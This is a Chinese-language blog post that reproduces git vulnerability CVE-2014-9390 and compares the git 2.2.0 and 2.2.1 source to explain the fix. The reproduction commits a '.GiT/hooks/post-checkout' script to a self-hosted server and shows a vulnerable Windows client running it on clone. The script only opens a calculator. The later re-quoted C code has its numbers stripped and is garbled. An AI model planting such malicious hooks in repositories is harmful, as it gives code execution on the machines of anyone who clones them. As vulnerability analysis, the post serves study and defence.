git CVE-2014-9390 验证以及源码对比
一 验证部分
首先在ubuntu下面建立如下工程
mkdir repo
cd repo
git init
mkdir -p .GiT/hooks
cp post-checkout .GiT/hooks
cat post-checkout
内容如下
#!/bin/sh
calc.exe
calc
open /Applications/Calculator.app/
gnome-calculator
然后将工程提交到git服务器,由于github已经不能提交.Git这种目录,我就自己搭建了一个服务器.
git remote add origin git@10.10.10.133:/home/git/project.git
git push origin master
然后在windows下验证,由于此bug只能在大小写不敏感的文件系统上才能重现,所以客户端只能是windows或者mac.
$ git --version
git version 1.9.2.msysgit.0
$ git clone git@10.10.10.133:/home/git/project.git
Cloning into 'project'...
git@10.10.10.133's password:
remote: Counting objects: , done.
remote: Compressing objects: % (/), done.
remote: Total (delta ), reused (delta )
Receiving objects: % (/), done.
Checking connectivity... done.
.git/hooks/post-checkout: line : open: command not found
.git/hooks/post-checkout: line : gnome-calculator: command not found
结果打开两次计算器.
如果使用升级以后的git呢,我们来看看git 1.9.5
$ git clone git@10.10.10.133:/home/git/project.git
Cloning into 'project'...
git@10.10.10.133's password:
remote: Counting objects: , done.
remote: Compressing objects: % (/), done.
remote: Total (delta ), reused (delta )
Receiving objects: % (/), done.
Checking connectivity... done.
error: Invalid path '.GiT/hooks/post-checkout' Administrator@MICRO-6A55C209C /c/repo
$ git --version
git version 1.9..msysgit.
这里报错,说.GiT是一个无效的路径,被过滤掉了.
这个错误从本质上来说就是因为在linux系统下面,.Git/hooks/post-checkout只是一个普通文件.但是对于大小写不敏感的系统,这个文件会覆盖git系统的.git/hooks/post-checkout这个配置文件,导致的结果是任意命令的执行.
这个本来是git的一个功能,来提高git对于项目管理的灵活性,并且一般clone的时候是不会clone .git/下面的配置文件的.
二 源码对比
接下来我们来看看git最新版本做了哪些改动呢?
我将最新的git-2.2.1和git-2.2.0(这个是官方版本,windows下用的是msysgit,所以版本号不一致)
diff -r git-2.2.0 git-2.2.1
输出结果如下:
Only in git-2.2.1/Documentation/RelNotes: 1.8.5.6.txt
Only in git-2.2.1/Documentation/RelNotes: 1.9.5.txt
Only in git-2.2.1/Documentation/RelNotes: 2.0.5.txt
Only in git-2.2.1/Documentation/RelNotes: 2.1.4.txt
Only in git-2.2.1/Documentation/RelNotes: 2.2.1.txt
diff -r git-2.2.0/Documentation/config.txt git-2.2.1/Documentation/config.txt
248a249,259
> core.protectHFS::
> If set to true, do not allow checkout of paths that would
> be considered equivalent to `.git` on an HFS+ filesystem.
> Defaults to `true` on Mac OS, and `false` elsewhere.
>
> core.protectNTFS::
> If set to true, do not allow checkout of paths that would
> cause problems with the NTFS filesystem, e.g. conflict with
> 8.3 "short" names.
> Defaults to `true` on Windows, and `false` elsewhere.
>
diff -r git-2.2.0/Documentation/git.txt git-2.2.1/Documentation/git.txt
46c46
< * link:v2.2.0/git.html[documentation for release 2.2]
---
> * link:v2.2.1/git.html[documentation for release 2.2.1]
48a49
> link:RelNotes/2.2.1.txt[2.2.1],
51c52
< * link:v2.1.3/git.html[documentation for release 2.1.3]
---
> * link:v2.1.4/git.html[documentation for release 2.1.4]
53a55
> link:RelNotes/2.1.4.txt[2.1.4],
59c61
< * link:v2.0.4/git.html[documentation for release 2.0.4]
---
> * link:v2.0.5/git.html[documentation for release 2.0.5]
61a64
> link:RelNotes/2.0.5.txt[2.0.5],
68c71
< * link:v1.9.4/git.html[documentation for release 1.9.4]
---
> * link:v1.9.5/git.html[documentation for release 1.9.5]
70a74
> link:RelNotes/1.9.5.txt[1.9.5],
77c81
< * link:v1.8.5.5/git.html[documentation for release 1.8.5.5]
---
> * link:v1.8.5.6/git.html[documentation for release 1.8.5.6]
79a84
> link:RelNotes/1.8.5.6.txt[1.8.5.6],
diff -r git-2.2.0/GIT-VERSION-GEN git-2.2.1/GIT-VERSION-GEN
4c4
< DEF_VER=v2.2.0
---
> DEF_VER=v2.2.1
diff -r git-2.2.0/RelNotes git-2.2.1/RelNotes
1c1
< Documentation/RelNotes/2.2.0.txt
\ No newline at end of file
---
> Documentation/RelNotes/2.2.1.txt
\ No newline at end of file
diff -r git-2.2.0/cache.h git-2.2.1/cache.h
619a620,621
> extern int protect_hfs;
> extern int protect_ntfs;
833a836
> extern int is_ntfs_dotgit(const char *name);
diff -r git-2.2.0/config.c git-2.2.1/config.c
898a899,908
> if (!strcmp(var, "core.protecthfs")) {
> protect_hfs = git_config_bool(var, value);
> return 0;
> }
>
> if (!strcmp(var, "core.protectntfs")) {
> protect_ntfs = git_config_bool(var, value);
> return 0;
> }
>
diff -r git-2.2.0/config.mak.uname git-2.2.1/config.mak.uname
107a108
> BASIC_CFLAGS += -DPROTECT_HFS_DEFAULT=1
375a377
> BASIC_CFLAGS += -DPROTECT_NTFS_DEFAULT=1
516a519
> BASIC_CFLAGS += -DPROTECT_NTFS_DEFAULT=1
diff -r git-2.2.0/configure git-2.2.1/configure
3c3
< # Generated by GNU Autoconf 2.69 for git 2.2.0.
---
> # Generated by GNU Autoconf 2.69 for git 2.2.1.
583,584c583,584
< PACKAGE_VERSION='2.2.0'
< PACKAGE_STRING='git 2.2.0'
---
> PACKAGE_VERSION='2.2.1'
> PACKAGE_STRING='git 2.2.1'
1254c1254
< \`configure' configures git 2.2.0 to adapt to many kinds of systems.
---
> \`configure' configures git 2.2.1 to adapt to many kinds of systems.
1315c1315
< short | recursive ) echo "Configuration of git 2.2.0:";;
---
> short | recursive ) echo "Configuration of git 2.2.1:";;
1454c1454
< git configure 2.2.0
---
> git configure 2.2.1
1934c1934
< It was created by git $as_me 2.2.0, which was
---
> It was created by git $as_me 2.2.1, which was
7825c7825
< This file was extended by git $as_me 2.2.0, which was
---
> This file was extended by git $as_me 2.2.1, which was
7882c7882
< git config.status 2.2.0
---
> git config.status 2.2.1
diff -r git-2.2.0/environment.c git-2.2.1/environment.c
66a67,76
> #ifndef PROTECT_HFS_DEFAULT
> #define PROTECT_HFS_DEFAULT 0
> #endif
> int protect_hfs = PROTECT_HFS_DEFAULT;
>
> #ifndef PROTECT_NTFS_DEFAULT
> #define PROTECT_NTFS_DEFAULT 0
> #endif
> int protect_ntfs = PROTECT_NTFS_DEFAULT;
>
diff -r git-2.2.0/fsck.c git-2.2.1/fsck.c
9a10
> #include "utf8.h"
174c175,177
< has_dotgit |= !strcmp(name, ".git");
---
> has_dotgit |= (!strcmp(name, ".git") ||
> is_hfs_dotgit(name) ||
> is_ntfs_dotgit(name));
diff -r git-2.2.0/git.spec git-2.2.1/git.spec
4c4
< Version: 2.2.0
---
> Version: 2.2.1
diff -r git-2.2.0/path.c git-2.2.1/path.c
825a826,858
>
> static int only_spaces_and_periods(const char *path, size_t len, size_t skip)
> {
> if (len < skip)
> return 0;
> len -= skip;
> path += skip;
> while (len-- > 0) {
> char c = *(path++);
> if (c != ' ' && c != '.')
> return 0;
> }
> return 1;
> }
>
> int is_ntfs_dotgit(const char *name)
> {
> int len;
>
> for (len = 0; ; len++)
> if (!name[len] || name[len] == '\\' || is_dir_sep(name[len])) {
> if (only_spaces_and_periods(name, len, 4) &&
> !strncasecmp(name, ".git", 4))
> return 1;
> if (only_spaces_and_periods(name, len, 5) &&
> !strncasecmp(name, "git~1", 5))
> return 1;
> if (name[len] != '\\')
> return 0;
> name += len + 1;
> len = -1;
> }
> }
diff -r git-2.2.0/po/de.po git-2.2.1/po/de.po
647c647
< msgstr "FEHLER: Wiederer枚ffnen einer bereits ge枚ffneten Lock-Datei"
---
> msgstr "FEHLER: Wieder枚ffnen einer bereits ge枚ffneten Lock-Datei"
651c651
< msgstr "FEHLER: Wiederer枚ffnen einer bereits committeten Lock-Datei"
---
> msgstr "FEHLER: Wieder枚ffnen einer bereits committeten Lock-Datei"
1959c1959
< msgstr " (benutzen Sie die Option -u, um unbeobachteten Dateien anzuzeigen)"
---
> msgstr " (benutzen Sie die Option -u, um unbeobachtete Dateien anzuzeigen)"
2813c2813
< msgstr "Inhalte der <Datei>en als entg眉ltiges Abbild benutzen"
---
> msgstr "Inhalte der <Datei>en als endg眉ltiges Abbild benutzen"
3081c3081
< msgstr "farbliche Ausgaben verwenden"
---
> msgstr "farbige Ausgaben verwenden"
5588c5588
< msgstr "Platzhalter als TCL-String formatieren"
---
> msgstr "Platzhalter als Tcl-String formatieren"
6895c6895
< msgstr "zwischengespeicherten Dateien in der Ausgabe anzeigen (Standard)"
---
> msgstr "zwischengespeicherte Dateien in der Ausgabe anzeigen (Standard)"
8122c8122
< msgstr "keine k眉nstlichen Vorg盲nger-Commit (\"grafts\") verbergen"
---
> msgstr "keine k眉nstlichen Vorg盲nger-Commits (\"grafts\") verbergen"
9698c9698
< msgstr "'*!+-' entsprechend des Branches einf盲rgen"
---
> msgstr "'*!+-' entsprechend des Branches einf盲rben"
diff -r git-2.2.0/read-cache.c git-2.2.1/read-cache.c
19a20
> #include "utf8.h"
779c780,781
< if (rest[] != 'i')
---
> case 'G':
> if (rest[] != 'i' && rest[] != 'I')
781c783
< if (rest[] != 't')
---
> if (rest[] != 't' && rest[] != 'T')
804a807,810
> if (protect_hfs && is_hfs_dotgit(path))
> return 0;
> if (protect_ntfs && is_ntfs_dotgit(path))
> return 0;
Only in git-2.2.1/t: t1014-read-tree-confusing.sh
diff -r git-2.2.0/t/t1450-fsck.sh git-2.2.1/t/t1450-fsck.sh
312,341c312,346
< test_expect_success 'fsck notices "." and ".." in trees' '
< (
< git init dots &&
< cd dots &&
< blob=$(echo foo | git hash-object -w --stdin) &&
< tab=$(printf "\\t") &&
< git mktree <<-EOF &&
< 100644 blob $blob$tab.
< 100644 blob $blob$tab..
< EOF
< git fsck 2>out &&
< cat out &&
< grep "warning.*\\." out
< )
< '
<
< test_expect_success 'fsck notices ".git" in trees' '
< (
< git init dotgit &&
< cd dotgit &&
< blob=$(echo foo | git hash-object -w --stdin) &&
< tab=$(printf "\\t") &&
< git mktree <<-EOF &&
< 100644 blob $blob$tab.git
< EOF
< git fsck 2>out &&
< cat out &&
< grep "warning.*\\.git" out
< )
< '
---
> while read name path pretty; do
> while read mode type; do
> : ${pretty:=$path}
> test_expect_success "fsck notices $pretty as $type" '
> (
> git init $name-$type &&
> cd $name-$type &&
> echo content >file &&
> git add file &&
> git commit -m base &&
> blob=$(git rev-parse :file) &&
> tree=$(git rev-parse HEAD^{tree}) &&
> value=$(eval "echo \$$type") &&
> printf "$mode $type %s\t%s" "$value" "$path" >bad &&
> bad_tree=$(git mktree <bad) &&
> git fsck 2>out &&
> cat out &&
> grep "warning.*tree $bad_tree" out
> )'
> done <<-\EOF
> 100644 blob
> 040000 tree
> EOF
> done <<-EOF
> dot .
> dotdot ..
> dotgit .git
> dotgit-case .GIT
> dotgit-unicode .gI${u200c}T .gI{u200c}T
> dotgit-case2 .Git
> git-tilde1 git~1
> dotgitdot .git.
> dot-backslash-case .\\\\.GIT\\\\foobar
> dotgit-case-backslash .git\\\\foobar
> EOF
diff -r git-2.2.0/t/test-lib.sh git-2.2.1/t/test-lib.sh
172c172,176
< export _x05 _x40 _z40 LF
---
> # UTF-8 ZERO WIDTH NON-JOINER, which HFS+ ignores
> # when case-folding filenames
> u200c=$(printf '\342\200\214')
>
> export _x05 _x40 _z40 LF u200c
diff -r git-2.2.0/unpack-trees.c git-2.2.1/unpack-trees.c
101c101
< static void do_add_entry(struct unpack_trees_options *o, struct cache_entry *ce,
---
> static int do_add_entry(struct unpack_trees_options *o, struct cache_entry *ce,
110,111c110,111
< add_index_entry(&o->result, ce,
< ADD_CACHE_OK_TO_ADD | ADD_CACHE_OK_TO_REPLACE);
---
> return add_index_entry(&o->result, ce,
> ADD_CACHE_OK_TO_ADD | ADD_CACHE_OK_TO_REPLACE);
612c612,614
< do_add_entry(o, src[i], 0, 0);
---
> if (do_add_entry(o, src[i], 0, 0))
> return -1;
>
diff -r git-2.2.0/utf8.c git-2.2.1/utf8.c
563a564,627
>
> /*
> * Pick the next char from the stream, folding as an HFS+ filename comparison
> * would. Note that this is _not_ complete by any means. It's just enough
> * to make is_hfs_dotgit() work, and should not be used otherwise.
> */
> static ucs_char_t next_hfs_char(const char **in)
> {
> while (1) {
> ucs_char_t out = pick_one_utf8_char(in, NULL);
> /*
> * check for malformed utf8. Technically this
> * gets converted to a percent-sequence, but
> * returning 0 is good enough for is_hfs_dotgit
> * to realize it cannot be .git
> */
> if (!*in)
> return 0;
>
> /* these code points are ignored completely */
> switch (out) {
> case 0x200c: /* ZERO WIDTH NON-JOINER */
> case 0x200d: /* ZERO WIDTH JOINER */
> case 0x200e: /* LEFT-TO-RIGHT MARK */
> case 0x200f: /* RIGHT-TO-LEFT MARK */
> case 0x202a: /* LEFT-TO-RIGHT EMBEDDING */
> case 0x202b: /* RIGHT-TO-LEFT EMBEDDING */
> case 0x202c: /* POP DIRECTIONAL FORMATTING */
> case 0x202d: /* LEFT-TO-RIGHT OVERRIDE */
> case 0x202e: /* RIGHT-TO-LEFT OVERRIDE */
> case 0x206a: /* INHIBIT SYMMETRIC SWAPPING */
> case 0x206b: /* ACTIVATE SYMMETRIC SWAPPING */
> case 0x206c: /* INHIBIT ARABIC FORM SHAPING */
> case 0x206d: /* ACTIVATE ARABIC FORM SHAPING */
> case 0x206e: /* NATIONAL DIGIT SHAPES */
> case 0x206f: /* NOMINAL DIGIT SHAPES */
> case 0xfeff: /* ZERO WIDTH NO-BREAK SPACE */
> continue;
> }
>
> /*
> * there's a great deal of other case-folding that occurs,
> * but this is enough to catch anything that will convert
> * to ".git"
> */
> return tolower(out);
> }
> }
>
> int is_hfs_dotgit(const char *path)
> {
> ucs_char_t c;
>
> if (next_hfs_char(&path) != '.' ||
> next_hfs_char(&path) != 'g' ||
> next_hfs_char(&path) != 'i' ||
> next_hfs_char(&path) != 't')
> return 0;
> c = next_hfs_char(&path);
> if (c && !is_dir_sep(c))
> return 0;
>
> return 1;
> }
diff -r git-2.2.0/utf8.h git-2.2.1/utf8.h
44a45,52
> /*
> * Returns true if the the path would match ".git" after HFS case-folding.
> * The path should be NUL-terminated, but we will match variants of both ".git\0"
> * and ".git/..." (but _not_ ".../.git"). This makes it suitable for both fsck
> * and verify_path().
> */
> int is_hfs_dotgit(const char *path);
>
diff -r git-2.2.0/version git-2.2.1/version
1c1
< 2.2.0
---
> 2.2.1
可以看出改动很小,主要以下几个方面:
1. 添加了core.protectHFS 针对苹果系统
添加了core.protectNTFS 针对windows系统
2. 在fsck.c中
原来的has_dotgit |= !strcmp(name, ".git");
变成了
has_dotgit |= (!strcmp(name, ".git") ||
is_hfs_dotgit(name) ||
is_ntfs_dotgit(name));
而如果has_gotgit为1,那么在后面将会报错
if (has_dotgit)
retval += error_func(&item->object, FSCK_WARN, "contains '.git'");
fsck是用于git 一致性检查,我们暂时先忽略它.
3.在path.c中加入了
static int only_spaces_and_periods(const char *path, size_t len, size_t skip)
{
if (len < skip)
return ;
len -= skip;
path += skip;
while (len-- > ) {
char c = *(path++);
if (c != ' ' && c != '.')
return ;
}
return ;
} int is_ntfs_dotgit(const char *name)
{
int len; for (len = ; ; len++)
if (!name[len] || name[len] == '\\' || is_dir_sep(name[len])) {
if (only_spaces_and_periods(name, len, ) &&
!strncasecmp(name, ".git", ))
return ;
if (only_spaces_and_periods(name, len, ) &&
!strncasecmp(name, "git~1", ))
return ;
if (name[len] != '\\')
return ;
name += len + ;
len = -;
}
}
is_ntfs_dotgit主要是用来判断路名是不是以.git开头,这里检查的比较宽泛,诸如..git,..Git,' .git'都被算做了以git开头,其实后两种情况,我在windows下面验证了,是不会和.git造成混淆的,可能是谨慎起见吧. 4. 使用
接下来是这个函数的使用,在read-cache.c中,这个才是我们clone的时候调用的函数.
一个是在
static int verify_dotfile(const char *rest)函数中,对于各种情况的大小写.git都认为是非法的.
还有就是
int verify_path(const char *path)中,对于路径的验证.
if (protect_hfs && is_hfs_dotgit(path))
return 0;
if (protect_ntfs && is_ntfs_dotgit(path))
return 0;
对于ntfs和hfs都进行了验证.
最后
由于没有苹果系统,这里就不对hfs进行解析了,其实两者做的工作差不多,只不过hfs又要考虑编码问题,这里就不写明了,感兴趣的读者自己去分析吧.
git CVE-2014-9390 验证以及源码对比的更多相关文章
- JDK(十)JDK1.7&1.8源码对比分析【集合】ConcurrentHashMap
前言 在JDK1.7&1.8源码对比分析[集合]HashMap中我们对比分析了JDK1.7和1.8版本的HashMap源码,趁热打铁,这篇文章就来看看JDK1.7和1.8版本的Concurre ...
- 从源码对比DefaultServeMux 与 gorilla/mux
从源码对比DefaultServeMux 与 gorilla/mux DefaultServeMux Golang自带的net/http库中包含了DefaultServeMux方法,以此可以搭建一个稳 ...
- CentOS搭建GIT服务器【二】-HTTP源码访问及smart http协议
搭建完git之后,我们希望可以在线看见源码,以及使用http协议上传下载源码. 安装gitweb.httpd: yum install gitweb yum install httpd gitweb默 ...
- JDK(八)JDK1.7&1.8源码对比分析【集合】HashMap
前言 在JDK1.8源码分析[集合]HashMap文章中,我们分析了HashMap在JDK1.8中新增的特性(引进了红黑树数据结构),但是为什么要进行这个优化呢?这篇文章我们通过对比JDK1.7和1. ...
- git在windows及linux(源码编译)环境下安装
git在windows下安装 下载地址:https://git-scm.com/ 默认安装即可 验证 git --version git在linux下安装 下载地址:https://mirrors.e ...
- git 下载指定tag版本的源码
git clone --branch x.x.x https://xxx.xxx.com/xxx/xxx.git
- git 下载指定tag版本的源码<转>
git clone --branch x.x.x https://xxx.xxx.com/xxx/xxx.git 原文地址:https://blog.csdn.net/weixin_30617561/ ...
- 2014年4月份第3周51Aspx源码发布详情
WPY净水机网站源码 2014-4-14 [VS2008]源码描述: 实现产品展示,在线留言,信息发布,在线咨询,营销网络地图. 网站基本管理:网站banner管理 管理首页滚动图片信息 网站右下部 ...
- GitHub超详细图文攻略 - Git客户端下载安装 GitHub提交修改源码工作流程 Git分支 标签 过滤 Git版本工作流
最近听同事说他都在使用GitHub,GitHub是程序员的社区,在里面可以学到很多书上学不到的东西,所以最近在准备入手这方面的知识去尝试学习,正好碰到这么详细完整的文章,就转载了,希望对自己和大家有帮 ...
随机推荐
- install 命令
install命令的作用是安装或升级软件或备份数据,它的使用权限是所有用户.install命令和cp命令类似,都可以将文件/目录拷贝到指定的地点.但是,install允许你控制目标文件的属性.inst ...
- .Net 一直在改变
Microsoft 微软又进一步了,每天都有惊喜. MSDN,是微软官网开发者技术支持网络,今天给我一个小惊喜,不多说直接上图.分享给大家 右键新打开Tab选项,就能看到官方的源码实现.为我们学习提供 ...
- 火星坐标、百度坐标、WGS84坐标转换代码(JS)
JS版本源码 /** * Created by Wandergis on 2015/7/8. * 提供了百度坐标(BD09).国测局坐标(火星坐标,GCJ02).和WGS84坐标系之间的转换 */ / ...
- 2017年总结&2018年计划
谈一谈2017年计划: 1.完成壁咚项目2.写一个自己的扫描器3.完善web安全手册.4.搞一个大漏洞或CVE的漏洞 完成进度:1.壁咚这个项目,当初发誓要用java来写完,其实最开始就已经写完了,前 ...
- webscheduler 开源定时服务和延迟服务
源码地址:https://gitee.com/eabeat/webscheduler 架构上采用 asp.net + access ,实现简单的管理界面,可以维护调用API,查看日志等功能.内核采用Q ...
- rsync 同步mac机器目录数据到windows2008R2
openssh rsync -azvP --progress -e "ssh -p 6099" /ahwater/rsync/ ahwater@ip:/ahwater
- 问题:c# json解析;结果:c# 解析JSON的几种办法
c# 解析JSON的几种办法 欲成为海洋大师,必知晓海中每一滴水的真名. 刚开始只是想找一个转换JSON数组的方法,结果在MSDN翻到一大把. 搜索过程中免不了碰到一大堆名词:WCF => Da ...
- 使用NDK编译 libyuv <转>
官方源码:http://code.google.com/p/libyuv/简介: libyuv is an open source project that includes YUV scaling ...
- DAY7-面向对象之继承与派生
一.初识继承 什么是继承 继承是一种创建新类的方式,新建的类可以继承一个或多个父类(python支持多继承),父类又可称为基类或超类,新建的类称为派生类或子类. 子类会“”遗传”父类的属性,从而解决代 ...
- Jedis连接redis的一些基本操作
Jedis其实就是redis的一个连接方式 需要的jar包: